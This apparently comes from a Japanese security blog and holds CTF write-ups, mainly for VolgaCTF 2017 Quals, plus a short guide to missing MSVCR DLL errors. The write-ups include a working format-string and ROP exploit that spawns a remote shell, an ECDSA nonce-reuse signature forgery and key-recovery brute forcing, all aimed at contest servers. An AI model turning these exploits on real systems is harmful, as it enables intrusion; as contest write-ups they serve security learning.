< Date: Sat, 01 Apr 2017 08:06:38 GMT
<
404: APRCTF{Kyoto_Is_In_The_West_Of_Tokyo}
* STATE: PERFORM => DONE handle 0x6000578a0; line 1955 (connection #0)
* multi_done
* Connection #0 to host score.easterns.kyoto.aka.westerns.tokyo left intact

422はapplication/x-www-form-urlencodedとして不正な文字列を送ればよい。

$ curl -v --data "give me flag" https://score.easterns.kyoto.aka.westerns.tokyo/problems/5
(snip)
> POST /problems/5 HTTP/1.1
> Host: score.easterns.kyoto.aka.westerns.tokyo
> User-Agent: curl/7.49.1
> Accept: */*
> Content-Length: 12
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 12 out of 12 bytes
* STATE: DO => DO_DONE handle 0x6000578b0; line 1659 (connection #0)
* STATE: DO_DONE => WAITPERFORM handle 0x6000578b0; line 1786 (connection #0)
* STATE: WAITPERFORM => PERFORM handle 0x6000578b0; line 1796 (connection #0)
* HTTP 1.1 or later with persistent connection, pipelining supported
< HTTP/1.1 422 Unprocessable Entity
< Keep-Alive: timeout=5, max=100
< Content-Length: 40
< Content-Type: text/html; charset=utf-8
* Server Microsoft-IIS/8.0 is not blacklisted
< Server: Microsoft-IIS/8.0
< Status: 422 Unprocessable Entity
< X-Request-Id: be09ece7-151b-4c0d-b931-51fabf2481b0
< X-Runtime: 0.005885
< Strict-Transport-Security: max-age=15552000
< Set-Cookie: ARRAffinity=49a94ddcdeb25346ee3a2b6c760ba69b1e208509e94f78fe226be7730ca067b6;Path=/;Domain=score.easterns.kyoto.aka.westerns.tokyo
< Date: Sat, 01 Apr 2017 07:25:24 GMT
<
422: 422{Tokyo_Is_In_The_East_Of_Kyoto}
* STATE: PERFORM => DONE handle 0x6000578b0; line 1955 (connection #0)
* multi_done
* Connection #0 to host score.easterns.kyoto.aka.westerns.tokyo left intact

500はflagを不正なUTF-8文字列にしてPOSTすると発生した。

POST /problems/5?locale=en HTTP/1.1
Host: score.easterns.kyoto.aka.westerns.tokyo
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: */*
Accept-Language: en-US,en;q=0.7,ja;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://score.easterns.kyoto.aka.westerns.tokyo/problems/5?locale=en
X-CSRF-Token: HkPQbeE+mqmqRtkz9gADaH0NyeoIsd9ay1SQ/qH+myOphKZnI4nSPY76FmqzAT/X7LKuDJCGGy8IcoEadj3fMw==
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 144
Cookie: _minictf_session=[redacted]; ARRAffinity=[redacted]
Connection: close

utf8=%E2%9C%93&authenticity_token=[redacted]&flag=%FF%FF
HTTP/1.1 500 Internal Server Error
Content-Length: 90
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
Status: 500 Internal Server Error
X-Request-Id: a1cf19da-d03d-45c7-937e-4fadda3f380f
X-Runtime: 0.021744
Strict-Transport-Security: max-age=15552000
Date: Sat, 01 Apr 2017 11:16:38 GMT
Connection: close

500: FLAG{Osaka_Is_In_The_West_Of_Kyoto}; Thank you for your debugging! We'll fix it soon

test problem (Guess 50, 250)

与えられたページのタイトルを答えると50pt。

TWGTF{this_is_not_flag_and_there_is_no_more_flag}

250点はわからなかった。

所感

他に解きたかった問題は以下。

  • MyEncryption (Guess/Crypto 100)
  • Ko-Gyoku (Guess/Misc 193)
  • Find flag (Recon 189)
  • FindMe (Recon 199)

VolgaCTF 2017 Quals 供養(Writeup)

VolgaCTF 2017 Qualsに参加。1150ptで51位。

VC (crypto 50)

Visual secret sharing scheme(Visual cryptography)

$ composite -compose difference A.png B.png C.png

f:id:inaz2:20170327002041p:plain

VolgaCTF{Classic_secret_sharing_scheme}

PyCrypto (crypto/reverse 150)

20バイトのランダムバイト列を鍵にフラグを暗号化している。 暗号化を行っているpycryptography.soのアセンブリコードを読むと、単に20バイトごとに分けた各ブロックに対してXORを取っているだけであることがわかる。

.text:0000000000001190 loc_1190:                               ; CODE XREF: encrypt+9Bj
.text:0000000000001190                 mov     rax, rcx
.text:0000000000001193                 cqo
.text:0000000000001195                 idiv    rsi             ; RAX, RDX = divmod(RCX, RSI)
.text:0000000000001198                 movzx   eax, byte ptr [r8+rdx] ; r8 = key
.text:000000000000119D                 xor     al, [rdi+rcx]   ; rdi = plaintext
.text:00000000000011A0                 mov     [rbp+rcx+0], al ; rbp = ciphertext
.text:00000000000011A4                 add     rcx, 1
.text:00000000000011A8                 cmp     rbx, rcx
.text:00000000000011AB                 jnz     short loc_1190

ブロックの各文字について頻度分析を行い、最も多い文字がスペースに対応すると仮定して鍵を計算し、復号する。 すると、先頭がフラグフォーマットの VolgaCTF{ であることが推測できたので、この部分を確定させて再度復号する。 英文と思われる文字列が出てくるので、意味が通るように補完することで最終的な鍵が求まる。

from minipwn import *
from collections import Counter

with open('flag.enc', 'rb') as f:
    data = f.read()

nblocks = len(data) // 20
chunks = []
for i in xrange(nblocks):
    chunk = data[20*i:20*i+20]
    chunks.append(chunk)

s = ''
for i in xrange(20):
    chars = [chunk[i] for chunk in chunks]
    c, count = Counter(chars).most_common()[0]
    s += xor(c, ' ')

"""
hint = 'VolgaCTF{'
s2 = xor(chunks[0], hint)
s = s2 + s[len(hint):]

for i, chunk in enumerate(chunks):
    print i, "%r" % xor(chunk, s)
"""

hint = '1917, invented an ad'
s = xor(chunks[5], hint)

answer = ''
for chunk in chunks:
    answer += xor(chunk, s)

print answer
$ python test.py
VolgaCTF{N@me_is_Pad_Many_Times_P@d_Mi$$_me?}
Gilbert Vernam was an AT&T Bell Labs engineer who, in 1917, invented an additive polyalphabetic stream cipher and later co-invented an automated one-time pad cipher. Vernam proposed a teleprinter cipher in which a previously prepared key, kept on paper tape, is combined character by character with the plaintext message to produce the ciphertext. This are the fundamentals of how one-time pad works.
One-time pad is a way of encrypting messages which is done by XOR-ing each plaintext byte of message you want to encrypt with a key byte from a key stream which is long as the message itself.  If the key is truly random, is at least as long as the plaintext, is never reused in whole or in part, and is kept completely secret, then the resulting ciphertext will be impossible to decrypt or break. This makes the one-time pad information-theoretically secure which means that we can learn no information about the original message (apart from it's length) given the encrypted message. Everything seems perfect right? But why do we need all this modern ciphers then? Why do we need AES when there is a "perfect" cipher, fresh from 1917? Where's the catch?
One-time pad problems: In theory, this cipher is really secure, but in practice, there are few major drawbacks. First, the key needs to be truly random. You might think: "So what, there is a rand() C function that gives us random numbers, we can use that to generate our key stream!". In fact, the rand() C function is a pseudorandom generator which only gives seemingly random numbers, it will loop after some number of outputs and its output can be predicted which makes the function unreliable for security purposes. There are more implementations of random functions (pseudorandom generators) that are used in security but I will not go into that now, only thing to remember is that true randomness is very hard to achieve. One site that states that can generate true random numbers is RANDOM.ORG, its randomness comes from atmospheric noise. Another problem is that the key needs to be as long as the message itself, this makes it hard to use for very long messages because it takes long to generate the keys. I will show you an example of what can go wrong when you get lazy and use the same key to encrypt many messages.
Taken from: https://whitehatjourney.wordpress.com/2015/08/12/many-time-

Telemap (web/exploits 200)

Botが乗っとられてしまったことにより、無効問題になった。

Regarding Telemap task

Tonight it turned out that task bot token was compromised. As a result, bot was taken over by an unknown individual.
We have decided to shut down the bot but we will not close the task.
Some teams managed to solve the task before this had happened and got their points.
To equalise other teams, we have given you the flag (in hints) so that you can submit it and get points too.
This decision is final. We sincerely apologise for this situation.

Updated on Mar 25, 2017 7:55 AM  
VolgaCTF{jUe33I9@8#dDie#!kdEPz}

Time Is (exploits 150)

ELF 64-bit、NX有効。

$ file time_is
time_is: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=34df22604978c4e32938d8692607a5c84e84e681, stripped

$ bash checksec.sh --file time_is
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   time_is

Format string bugとスタックバッファオーバーフロー脆弱性がある。

$ ./time_is
Enter time zones separated by whitespace or q to quit
%p.%p.%p.%p|%p.%p.%p.%p|%p.%p.%p.%p|%p.%p.%p.%p|AAAABBBB
AAAABBBB0x3.0x66666667.0xa3d70a3d70a3d70b.0x2ce33e6c02ce33e7|0xe40.0x7f154d3974a0.0x3b7d2114.0x985010|0x78.0x58d5f356.0x4242424241414141.0x70252e70252e7025|: 04:34
Enter time zones separated by whitespace or q to quit
AAAABBBB%11$p
*** invalid %N$ use detected ***
Aborted (core dumped)

$ (perl -e 'print "A"x0x900 . "\n"'; cat) | ./time_is
Enter time zones separated by whitespace or q to quit
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: 06:27
9
@Enter time zones separated by whitespace or q to quit
q
See you!
*** stack smashing detected ***: ./time_is terminated

Aborted (core dumped)

入力文字列に8バイトの時刻文字列が連結されることに注意しつつ、libc leak、canary leak、ROPを行いシェルを起動する。 また、リモートでleakしたlibcのオフセットが手元にあるUbuntu 16.04.2 LTSの最新版glibcと一致したため、そのまま解くことができた。

from minipwn import *

def proof_of_work(num_chars, first_24bytes):
    import hashlib
    from itertools import product

    chars = ''.join(chr(x) for x in xrange(256) if x != 0x0a)
    for x in product(chars, repeat=5):
        s = first_24bytes + ''.join(x)
        h = hashlib.sha1(s).hexdigest()
        if int(h, 16) % (1<<26) == 0x3ffffff:
            print "[+] sha1(%r) = %s" % (s, h)
            return s

# s = connect_process(['./time_is'])

s = socket.create_connection(('time-is.quals.2017.volgactf.ru', 45678))
line = recvline(s)
print line
first_24bytes = line.split("'")[1]
answer = proof_of_work(29, first_24bytes)
sendline(s, answer)

recvuntil(s, 'quit\n')

# leak got_libc_start
got_libc_start = 0x603028

buf = '%p.' * 17 + '%s.' + '%p'
buf += p64(got_libc_start)

sendline(s, buf)
data = recvline(s)
data = data.split('.')[17]
addr_libc_start = u64(data.ljust(8, '\x00'))
print "[+] addr_libc_start = %x" % addr_libc_start

"""
$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep libc_start_main
0000000000020740 T __libc_start_main

$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep system
0000000000045390 T __libc_system
0000000000137c20 T svcerr_systemerr
0000000000045390 W system

$ strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
 18c177 /bin/sh
"""

addr_system = addr_libc_start - 0x0000000000020740 + 0x0000000000045390
addr_binsh = addr_libc_start - 0x0000000000020740 + 0x18c177

# leak canary
buf = 'A' * 0x801

sendline(s, buf)
recvline(s)
data = recvline(s)
canary = '\x00' + data[:7]
print "[+] canary = %r" % canary

# rop
addr_pop_rdi = 0x400b34

buf = 'A' * 0x808 + canary + 'A' * 0x38
buf += p64(addr_pop_rdi) + p64(addr_binsh) + p64(addr_system)

sendline(s, buf)
recvline(s)

# quit
sendline(s, 'q')

interact(s)
$ python test.py
Solve a puzzle: find an x such that 26 last bits of SHA1(x) are set, len(x)==29 and x[:24]=='d7e5d131c8f69d397e824960'

[+] sha1('d7e5d131c8f69d397e824960\x00\x00\xf1*\x7f') = 6a078e3e4ce7e5cb1fcbbf6bffc39b2ee3ffffff
[+] addr_libc_start = 7f7f6d687740
[+] canary = '\x00\xd3\x86\xd8yy\xef2'
See you!
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
ls
flag.txt
time_is
cat flag.txt
VolgaCTF{D0nt_u$e_printf_dont_use_C_dont_pr0gr@m}

Angry Guessing Game (reverse 200)

ELF 64-bit。

$ file guessing_game
guessing_game: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=40d776f25ac166209af1980da87343aa1cc3e445, stripped

ディスアセンブル結果をしばらく眺めていると、一文字ずつフラグを組み立てていると思しき関数が見つかった。

f:id:inaz2:20170327002921p:plain

実際これがフラグだった。

VolgaCTF{eb675eb79eb095a095c1e64709407bc6}

Curved (crypto 200)

ECDSA署名。 問題文から、"cat flag" に対応する適切な署名を作る問題であることが推測できる。

“exit” と “leave” に対する署名 (r, s) がそれぞれ与えられているが、rが共通となっている。 したがって、通常のDSA同様に秘密鍵が逆算できる。

与えられたスクリプトを流用することでも計算できると思われるが、Pari/GPを使って計算した。

\\ curve
p = 39402006196394479212279040100143613805079739270465446667948293404245721771496870329047266088258938001861606973112319
n = 39402006196394479212279040100143613805079739270465446667946905279627659399113263569398956308152294913554433653942643
a = -3
b = 27580193559959705877849011840389048093056905856361568521428707301988689241309860865136260764883745107765439761230575
E = ellinit([a, b] * Mod(1, p))

Gx = 26247035095799689268623156744566981891852923491109213387815615900925518854738050089022388053975719786650872476732087
Gy = 8325710961489029985546751289520108179287853048861315594709205902480503199884419224438643760392947333078086511627871
G = [Gx, Gy]

\\ public key
QAx = 30250504889670926190523552041919585443829720544703724701649460613907050136658064509869867235332877475236603550112886
QAy = 10038053482213417689486839474228780499939202868344229289980977269014292942786826488866304498064504119374610238834648
QA = [QAx, QAy]

\\ signature of 'exit'
e1 = 10180943929472204041376359597227574108469221349104554484573736460602805890485877117432685835780787710291076463187571088306141436105029609403872488695821097
r1 = 9540946282644423304958237178123966732301592745413906651991128246584667628620778601005222874778554839816137094172414
s1 = 34855921360927916070986212109819500225655651650874609025244135362773790814285754503375195745383314214044123943832259
\\ signature of 'leave'
e2 = 12195398262660441438176209028967466030981898250410793562737239825421543239341285267808310332478026241214888216083918256032431837893434411748441618036707814
r2 = 9540946282644423304958237178123966732301592745413906651991128246584667628620778601005222874778554839816137094172414
s2 = 30319268030018639511551117879575625408953110962874264740912972950968883326846458408981004916433253051594118273327537

\\ calculate private key
Ln = 384
z1 = e1 >> (512 - Ln)
z2 = e2 >> (512 - Ln)

ds = Mod(s1-s2, n)
k = (z1-z2)/ds
dA = (s1*k-z1)/r1
dA = lift(dA)
print(dA)

QA_test = ellpow(E, G, dA)
print(QA == QA_test)

\\ sign 'cat flag'
e = 2534251488141321329485028256574528297332728342399684946592676206483227962138949081371581055249315498122105667347735231458012198223021772614828139070448869
z = e >> (512 - Ln)

k = random(n)
X = lift(ellpow(E, G, k))
r = Mod(X[1], n)
s = Mod((z + r * dA)/k, n)
S = lift([r, s])
print(S)

\\ verify 'cat flag'
r = S[1]
s = S[2]
w = Mod(1, n)/s
u1 = lift(z * w)
u2 = lift(r * w)
X = elladd(E, ellpow(E, G, u1), ellpow(E, QA, u2))
print(r == lift(X[1]))

\q
$ gp -q test.gp
9079245250607033272177745139721911545885939364888227106759574289984237078900316288233842237557724127871411302115933
1
[39112003662726615820001136590670602721390567943228088268349819682351724576285259322504605718457495308034625773444623, 21643598331441852154436855591985162334211224320785802943649786307375726924666387420418777563448813104252070730826027]
1
from minipwn import *

def proof_of_work(num_chars, first_24bytes):
    import hashlib
    from itertools import product

    chars = ''.join(chr(x) for x in xrange(256) if x != 0x0a)
    for x in product(chars, repeat=5):
        s = first_24bytes + ''.join(x)
        h = hashlib.sha1(s).hexdigest()
        if int(h, 16) % (1<<26) == 0x3ffffff:
            print "[+] sha1(%r) = %s" % (s, h)
            return s

s = socket.create_connection(('curved.quals.2017.volgactf.ru', 8786))
line = recvline(s)
print line
first_24bytes = line.split("'")[1]
answer = proof_of_work(29, first_24bytes)
sendline(s, answer)

print recvuntil(s, ':\r\n')
message = '39112003662726615820001136590670602721390567943228088268349819682351724576285259322504605718457495308034625773444623 21643598331441852154436855591985162334211224320785802943649786307375726924666387420418777563448813104252070730826027 cat flag'
sendline(s, message)

interact(s)
$ python test.py
Solve a puzzle: find an x such that 26 last bits of SHA1(x) are set, len(x)==29 and x[:24]=='270a6f5df35e8e9a48af0efc'

[+] sha1('270a6f5df35e8e9a48af0efc\x00\x0fM\x83\x97') = e60627df5b89372b16f2b4a8c50978a33fffffff
Enter your command:

VolgaCTF{N0nce_1s_me@nt_to_be_used_0n1y_Once}
Enter your command:

KeyPass (reverse 100)

パスフレーズから鍵を生成するプログラムとAES-128-CBCで暗号化されたzipがある。 前者のアセンブリコードを読むと、パスフレーズの各文字のXORを取った値をseedとしてパスフレーズを生成していることがわかる。

  4004c3:       48 8b 56 08             mov    rdx,QWORD PTR [rsi+0x8]
  ...
  4004dd:       31 d2                   xor    edx,edx
  4004df:       eb 12                   jmp    4004f3 <__libc_start_main@plt+0x73>
  4004e1:       0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]
loc_4004e8:
  4004e8:       48 0f be 07             movsx  rax,BYTE PTR [rdi]
  4004ec:       48 83 c7 01             add    rdi,0x1
  4004f0:       48 31 c2                xor    rdx,rax
loc_4004f3:
  4004f3:       48 39 cf                cmp    rdi,rcx
  4004f6:       75 f0                   jne    4004e8 <__libc_start_main@plt+0x68>  ; backward jump

seedは実質1バイトなので、取り得るパスフレーズの数は256通りとなり総当たりができる。 ただし、ヒントにOpenSSL 1.1.0eであることが書かれており、このバージョンを用意する必要がある。

$ wget https://www.openssl.org/source/openssl-1.1.0e.tar.gz
$ tar xvf openssl-1.1.0e.tar.gz
$ cd openssl-1.1.0e
$ ./config
$ make -j3
$ make test
$ cd ..
$ LD_PRELOAD="./openssl-1.1.0e/libssl.so ./openssl-1.1.0e/libcrypto.so" ./openssl-1.1.0e/apps/openssl version
OpenSSL 1.1.0e  16 Feb 2017
from subprocess import Popen, PIPE

for i in xrange(256):
    s = chr(i)
    try:
        p = Popen(['./keypass', s], stdout=PIPE)
        key = p.stdout.read().rstrip()
        p.wait()
    except TypeError:
        continue

    p = Popen(['./openssl-1.1.0e/apps/openssl', 'enc', '-d', '-aes-128-cbc', '-k', key, '-in', 'flag.zip.enc'], env={'LD_PRELOAD': './openssl-1.1.0e/libssl.so ./openssl-1.1.0e/libcrypto.so'}, stdout=PIPE, stderr=PIPE)
    result = p.stdout.read()
    p.wait()
    if p.returncode == 0:
        print "[+] key = %r" % key
        with open('flag.zip', 'wb') as f:
            f.write(result)
        break
$ python test.py
[+] key = '\\M)R<.DDe/:;d>JZP'

$ unzip flag.zip
Archive:  flag.zip
 extracting: flag.txt

$ cat flag.txt
VolgaCTF{L0ve_a11_trust_@_few_d0_not_reinvent_the_wh33l}

Bloody Feedback (web 100)

メッセージが送れる掲示板。 メール入力欄にSQL injection脆弱性がある。

<input class="form-control input-normal" id="InputEmail" name="email" placeholder="Email" disabled="disabled" type="email">
VolgaCTF{eiU7UJhyeu@ud3*}

所感

他に解きたかった問題は以下。

  • Share Point (web 200)
  • Corp News (web 300)
  • Not so honest (exploits 350)
  • Nested (forensics 200)

131チームが解けていたShare Pointを解けなかったのが残念。

MSVCR???.dllやMSVCP???.dllが見つからないときの対処法

Windowsアプリケーションを実行する際、まれに次のようなエラーメッセージが表示されて起動できないことがある。

コンピューターに MSVCR120.dll がないため、プログラムを開始できません。この問題を解決するには、プログラムを再インストールしてください。

MSVCR120.dllの部分は、MSVCP140.dllなど微妙に異なる場合もある。 エラーメッセージに従い再インストールすればよいように思われるが、それでも解決しないことがある。

これは、配布されたアプリケーションが「Visual C++ 再頒布可能パッケージ」を同梱していないか、同梱されたバージョンが一致していないことが原因で起こる。 解決するには、Microsoftが配布している「Visual C++ 再頒布可能パッケージ」をインストールすればよい。

DLL名は「ライブラリ名+バージョン番号」に従って命名されているのだが、バージョン番号とVisual Studioの年がずれていてややこしい。

つまり、MSVCR120.dllであればVisual Studio 2013の再頒布可能パッケージ、MSVCR140.dllであればVisual Studio 2015の再頒布可能パッケージをインストールすればよい。

また、https://www.microsoft.com/以外でダウンロードできるものは、正規のDLLである保証がないため利用してはならない。

関連リンク